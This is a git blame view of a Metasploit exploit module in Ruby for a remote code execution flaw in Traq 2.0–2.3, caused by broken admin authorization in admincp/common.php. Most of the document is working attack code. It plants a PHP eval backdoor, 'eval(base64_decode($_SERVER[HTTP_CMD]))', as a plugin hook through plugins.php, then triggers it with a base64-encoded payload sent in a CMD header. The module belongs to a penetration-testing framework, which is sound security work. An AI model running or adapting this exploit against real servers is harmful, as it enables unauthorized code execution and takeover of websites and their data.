Files
metasploit-gs/modules/exploits/multi/http/traq_plugin_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

102 lines
2.9 KiB
Ruby
Raw Normal View History

2014-01-22 11:23:18 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2012-02-20 19:25:55 -06:00
'Name' => 'Traq admincp/common.php Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
2015-03-20 01:19:46 +00:00
This function is called in each script located in the /admicp/ directory to
2015-03-20 01:36:56 +00:00
make sure the user has admin rights. This is a broken authorization schema
2015-03-20 01:31:01 +00:00
because the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality,
2015-03-20 01:19:46 +00:00
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Vulnerability discovery and exploit
2011-12-29 11:14:15 -06:00
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
],
'References' =>
[
[ 'OSVDB', '77556'],
2012-10-23 21:02:09 +02:00
[ 'EDB', '18213' ],
[ 'URL', 'http://traqproject.org/' ],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {} ]],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-12-12',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
])
end
def check
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "admincp", "login.php")
res = send_request_raw(
{
'uri'=> uri
}, 25)
if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
p = Rex::Text.encode_base64(payload.encoded)
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'plugin_id' => '1',
'title' => '1',
'execorder' => '0',
'hook' => 'template_footer',
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
}
}, 25)
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "index.php")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'headers' =>
{
'CMD' => p,
'Connection' => 'Close',
},
}, 25)
end
end